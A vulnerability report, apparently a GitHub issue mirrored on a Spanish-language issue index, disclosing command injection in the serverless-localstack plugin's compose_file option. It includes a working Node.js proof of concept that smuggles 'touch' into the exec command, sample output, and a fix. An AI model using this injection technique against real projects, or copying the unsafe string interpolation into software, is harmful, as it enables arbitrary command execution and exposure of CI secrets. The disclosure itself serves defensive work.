localstack / localstack/serverless-localstack
Command injection via unsanitized `custom.localstack.docker.compose_file`
Nadie ha tomado este issue todavía.
- Lenguaje dominante
- JavaScript
- Estrellas
- 542
- Forks
- 92
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Descripción
## Description
`serverless-localstack` passes the `custom.localstack.docker.compose_file` configuration value directly into a shell command when `autostart` is enabled and the plugin starts LocalStack through Docker Compose.
The README documents `docker.compose_file` as an optional Docker Compose file path:
```yml
custom:
localstack:
autostart: true
docker:
compose_file: /home/localstack_compose.yml
```
However, in `src/index.js`, the value is interpolated into a command string:
```js
exec(`docker-compose -f ${this.config.docker.compose_file} up -d`)
```
Because the value is not escaped or passed as an argument array, shell metacharacters in the compose file path can execute additional commands.
## Affected Version
Tested with:
- `serverless-localstack@1.4.0`
- Node.js `24.10.0`
- macOS / POSIX shell
## Severity
Suggested CVSS v3.1: **6.5 Medium**
Vector: `CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H`
Rationale:
- `AV:L`: exploitation requires control over local project/serverless configuration or the release/build environment.
- `AC:L`: once the configuration value is controlled, exploitation is straightforward.
- `PR:H`: in the common threat model, the attacker must be able to modify trusted project configuration or influence CI configuration.
- `UI:R`: a developer or CI process must run Serverless with this plugin enabled.
- `C/I/A:H`: successful exploitation results in arbitrary command execution as the Serverless/CI process. In CI/CD environments this may expose credentials, deployment tokens, or other secrets.
The attack surface is relatively narrow, but the impact after exploitation can be high.
## Steps to Reproduce
Create a minimal project:
```sh
rm -rf /tmp/sls-localstack-public-poc /tmp/sls-localstack-aci
mkdir -p /tmp/sls-localstack-public-poc
cd /tmp/sls-localstack-public-poc
npm init -y
npm i serverless-localstack@1.4.0
```
Create `poc.js`:
```js
const cp = require('child_process');
const { existsSync } = require('fs');
const realExec = cp.exec;
cp.exec = function hookedExec(command, options, callback) {
if (typeof options === 'function') {
callback = options;
options = undefined;
}
console.log('[exec]', command);
// Make the plugin believe no LocalStack container is running,
// so it reaches the docker-compose startup path.
if (command === 'docker ps') {
process.nextTick(() => callback && callback(null, '', ''));
return { on() {}, stdout: { on() {} }, stderr: { on() {} } };
}
return realExec.call(this, command, options, callback);
};
const LocalstackPlugin = require('serverless-localstack');
const serverless = {
service: {
custom: {
localstack: {
autostart: true,
stages: ['dev'],
docker: {
compose_file: 'x; touch /tmp/sls-localstack-aci; #'
}
}
},
provider: { stage: 'dev' },
getFunction() {
return {};
}
},
pluginManager: { hooks: {}, plugins: [] },
cli: { log: msg => console.log('[sls]', msg) },
getProvider() {
return {
request() {},
getCredentials() {
return { credentials: { accessKeyId: 'test', secretAccessKey: 'test' } };
},
sdk: { config: { update() {} } }
};
}
};
(async () => {
const plugin = new LocalstackPlugin(serverless, { stage: 'dev' });
await plugin.startLocalStack();
console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
})().catch(err => {
console.log('[error]', err && err.message);
console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
});
```
Run:
```sh
node poc.js
```
## Actual Result
The unescaped `compose_file` value is embedded into the shell command:
```text
[exec] docker ps
[sls] Starting LocalStack using the provided docker-compose file. This can take a while.
[exec] docker-compose -f x; touch /tmp/sls-localstack-aci; # up -d
[exec] docker ps
marker exists: true
```
The marker file is created, demonstrating arbitrary command execution.
## Expected Result
`custom.localstack.docker.compose_file` should be treated only as a Docker Compose file path. Shell metacharacters in the path should not execute commands.
## Suggested Fix
Avoid building a shell command string from configuration values. For example, use an argument array:
```js
execFile('docker-compose', ['-f', this.config.docker.compose_file, 'up', '-d'])
```
or use `spawn`/`execa` with `shell: false`.
The same pattern should also be reviewed in other Docker-related command construction paths, for example `docker network connect "${this.config.networks[network]}" ${containerID}`.
## Impact
If an attacker can influence `serverless.yml` or CI configuration for a project that runs Serverless with `serverless-localstack` and `autostart` enabled, they can execute arbitrary commands as the developer or CI user.
Guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Línea de trabajo
Start with src/index.js and the startLocalStack path, then run the provided node poc.js reproduction to confirm the command-injection behavior. Review the docker-compose startup command and the noted docker network connect path; done means configuration values are passed without shell interpretation and LocalStack startup still works.
Escrito por el modelo de indexación a partir del texto del issue.
Evaluación
- Stack tecnológico
- docker-compose, javascript
- Área
- devops, security
- Tipo de issue
- Error
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Estado de actividad
- Tranquilo
- Claridad
- Bien especificado
- Aptitud para principiantes
- 58/100